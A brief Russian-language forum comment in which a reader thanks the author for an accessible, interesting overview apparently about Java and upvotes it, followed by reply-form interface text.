2. прочитал с удовольствием. Хотя я и не спец по java - но расписано все доступно и понятно даже для меня. Благодарю за интереснейший обзор! Плюсую всеми силами!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх